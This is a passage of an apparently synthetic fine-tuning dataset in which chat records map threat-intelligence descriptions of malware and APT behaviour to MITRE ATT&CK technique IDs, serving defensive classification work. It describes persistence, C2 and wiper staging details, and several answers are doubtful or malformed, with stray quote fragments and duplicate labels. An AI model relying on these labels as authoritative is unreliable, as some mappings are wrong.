                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors have been observed exploiting Pulse Secure VPN appliances to view and extract valid user credentials and network information from the servers."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "’s installer is obfuscated with a custom crypter to obfuscate the installer."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "sends information to its hard-coded C2, including OS version, service pack information, processor speed, system name, and OS install date."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It’s located on the hard drive and contains code that can display current volume shadow copy backups and all installed shadow copy writers and providers. Responsible for wiping deleted data from all drives using cipher.exe (cipher.exe is a built-in command-line tool in the Windows operating system that can be used to display or alter the encryption of directories and files on NTFS volumes. It’s located on the hard drive and contains code that can display current volume shadow copy backups and all installed shadow copy writers and providers. 9) Responsible for wiping deleted data from all drives using cipher.exe (cipher.exe is a built-in command-line tool in the Windows operating system that can be used to display or alter the encryption of directories and files on NTFS volumes"
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KONNI is heavily obfuscated and includes encrypted configuration files."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can establish persistence by setting the value “Shell” with “explorer.exe, %malware_pathfile%” under the Registry key HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon."
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MURKYTOP has the capability to identify remote hosts on connected networks."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ursnif has used Tor for C2."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Dust Storm, the threat actors sent spearphishing emails that contained a malicious Microsoft Word document."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 obtained Ticket Granting Service (TGS) tickets for Active Directory Service Principle Names to crack offline."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OopsIE uses WMI to perform discovery techniques."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "installation file is an unsigned DMG image under the guise of Intego’s security solution for mac."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As mentioned, the registry key (HKLM\\SOFTWARE\\Microsoft\\DRM) is where the malicious payload is stored. In this case, this is the Pillowmint Trojan. Pillowmint is stored and compressed in the registry key"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShadowPad has used FTP for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Helminth establishes persistence by creating a shortcut."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "hxxp://www.sanjosemaristas[.]com/app/index.php?{A01BA0AD-9BB3-4F38-B76B-A00AD11CBAAA}, providing the current network adapter’s service name GUID"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StreamEx has the ability to enumerate drive types."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Squirrelwaffle has been distributed via malicious Microsoft Office documents within spam emails."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Data field is encrypted using a custom stream cipher."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After “GetExtendedTcpTable” is executed and the process returns back to the second part of the code, it iteratively checks every record in the returned Tcp table. If any record contains the PID Waterbear wants to hide, it will remove the corresponding record, modify the record number inside the table, and continue to check the succeeding records"
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The OilRig group remains highly active in their attack campaigns while they continue to evolve their toolset. On January 8, 2018, Unit 42 observed the OilRig threat group carry out an attack on an insurance agency based in the Middle East. The January 8 attack used a variant of the ThreeDollars delivery document, which we identified as part of the OilRig toolset based on attacks that occurred in August 2017. Instead, this attack involved delivering the OopsIE Trojan directly to the victim, most likely using a link in a spear phishing email. Interestingly, the targeted organization in the January 16 attack had already been targeted by the OilRig group a year ago on January 2017. A New Attack On January 8, 2018, the OilRig threat group sent an email with the subject Beirut Insurance Seminar Invitation to an insurance agency in the Middle East. The OilRig group sent two emails to two different email addresses at the same organization within a six minutes time span. The email contained an attachment named Seminar-Invitation.doc, which is a malicious Microsoft Word document we track as ThreeDollars. In this case, the ThreeDollars delivery document was not used and instead an attempt was made to deliver the OopsIE Trojan directly to the targeted organization, likely via a link within an email. As we have observed throughout our tracking of the OilRig group, adopting proven tactics has been a common behavior over time"
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In early 2015, a new Emotet modification was released, not all that different from the previous one. Among the changes were: new built-in public RSA key, most strings encrypted, ATS scripts for web injection cleared of comments, targets included clients of Swiss banks."
            },
            {
                "role": "assistant",
                "content": "T1592.004 - Client Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "opens a backdoor on TCP ports 6868 and 7777."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "sent spearphishing emails containing malicious Microsoft Office attachments."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWERSTATS has connected to C2 servers through proxies."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The OsInfo function in  collects the current running username."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Anchor can create and execute services to load its payload."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FunnyDream can identify files with .doc, .docx, .ppt, .pptx, .xls, .xlsx, and .pdf extensions and specific timestamps for collection."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "H1N1 has added a plethora of new functionality in comparison to earlier reports. Throughout this blog series we will be analyzing the capabilities of H1N1 including: obfuscation, a User Account Control (UAC) bypass, information stealing, data exfiltration, loader/dropper, and self-propagation/lateral movement techniques used by this variant.1,2"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "cmd is used to execute programs and other actions at the command-line interface."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has used JavaScript for drive-by downloads and C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The paths discovered are:  • C:\\Users\\leo\\AppData\\Local\\Temp\\Word8.0\\MSForms.exd • C:\\Users\\poopak\\AppData\\Local\\Temp\\Word8.0\\MSForms.exd • C:\\Users\\Vendetta\\AppData\\Local\\Temp\\Word8.0\\MSForms.exd • C:\\Users\\Turk\\AppData\\Local\\Temp\\Word8.0\\MSForms.exd   Leo, Poopak, Vendetta and Turk are the usernames of those creating the documents or the templates on which they are based"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery', 'T1005 - Data from Local System', 'T1087 - Account Discovery', 'T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ROKRAT can steal credentials by leveraging the Windows Vault mechanism."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PingPull can mimic the names and descriptions of legitimate services such as `iphlpsvc`, `IP Helper`,  and `Onedrive` to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor initially conducts system reconnaissance to assess the AV software installed and the user privilege"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the user clicks on the link, he will be prompted to download a RAR file that contains the stage 1 malware/lure, which he will execute afterwards"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Additional tools were recovered during the incident, including a network scanning/enumeration tool, the archiving tool WinRAR and a bespoke Microsoft SharePoint enumeration and data dumping tool, known as ‘spwebmember"
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Sharepoint', 'T1018 - Remote System Discovery', 'T1213.002 - Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32's macOS backdoor hides the clientID file via a chflags function."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbanak lists running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Night Dragon, threat actors used zwShell to establish full remote control of the connected machine and run command-line shells."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PROMETHIUM has named services to appear legitimate."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If so, it stops the execution and deletes the folder containing the malicious script from this machine. Download the malicious files onto the machine: the same batch file downloads a cab archive named env.cab from a remote address in the internal network: \\\\railways.ir\\sysvol\\railways.ir\\scripts\\env.cab. The use of specific hostnames and internal paths indicates the attacker had prior knowledge of the environment. It moves wiper-related files to “C:\\temp” and creates a scheduled task named mstask to execute the wiper only once at 23:55:00"
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This process executes a command to maliciously use the legitimate wmic.exe to initialize an XSL Script Processing (MITRE Technique T1220) attack. The attack executes embedded JScript or VBScript in an XSL stylesheet located on a remote domain (qnccmvbrh.wilstonbrwsaq[.]pw"
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used PowerShell for execution of a payload."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SLOTHFULMEDIA has downloaded files onto a victim machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has exfiltrated internal documents, files, and other data from compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has delivered  and  by executing PowerShell commands through DDE in Word documents."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Smoke Loader searches through Outlook files and directories (e.g., inbox, sent, templates, drafts, archives, etc.)."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Drovorub can use the WebSocket protocol and has initiated communication with C2 servers with an HTTP Upgrade request."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OnionDuke uses Twitter as a backup C2."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For FunnyDream, the threat actors likely established an identified email account to register a variety of domains that were used during the campaign."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MoleNet can download additional payloads from the C2."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Introduced in macOS 10.11, this utility has only one publicly documented use, which is to return the status of the System Integrity Protection tool. The csrutil tool is commonly used by malware and post-exploitation tools to determine whether certain files and directories on the system are writable or not"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sakula calls cmd.exe to run various DLL files via rundll32."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JAVASCRIPT CODE SNIPPETS:  The first stage JavaScript copies additional JavaScript code snippets in txt format from the RTF document into a random directory “C:\\Users\\<User Name>\\<Random guid>\\”"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a batch file that modifies Registry keys to launch a DLL into the svchost.exe process."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWRUNER may also receive batch commands from the C2 server to collect host information from the system"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery', 'T1057 - Process Discovery', 'T1047 - Windows Management Instrumentation', 'T1049 - System Network Connections Discovery', 'T1016 - System Network Configuration Discovery', 'T1082 - System Information Discovery', 'T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It also allows macro code to access internal VBA objects for stealthier macro code execution in future attacks"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Commands such as net view can be used in  to gather information about available remote systems."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attackers used the Windows Management Instrumentation Command Line Utility (wmic.exe) to execute commands on remote computers, such as adding a new user or executing additional downloaded PowerShell scripts. Cobalt Strike was also used to carry out credential dumping using ProcDump and to empty log files"
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account', 'T1047 - Windows Management Instrumentation', 'T1070.001 - Indicator Removal on Host: Clear Windows Event Logs', 'T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole uses a variation of the XOR cipher to encrypt files before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Qakbot has anti-analysis and anti-virtual machine checks. It will not continue to execute if any of the following exists in the system"
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Transparent Tribe has directed users to open URLs hosting malicious content."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FinFisher obtains the hardware device list and checks if the MD5 of the vendor ID is equal to a predefined list in order to check for sandbox/virtualized environments."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NotPetya drops PsExec with the filename dllhost.dat."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used various forms of spearphishing in attempts to get users to open links or attachments."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fysbis can perform keylogging."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Raindrop used a custom packer for its Cobalt Strike payload, which was compressed using the LZMA algorithm."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Decrypting the Configuration As previously mentioned, the real configuration data is stored in the first stage shellcode but it is not stored in cleartext, but encrypted and compressed"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Frankenstein has run a command script to set up persistence as a scheduled task named \"WinUpdate\", as well as other encoded commands from the command-line."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
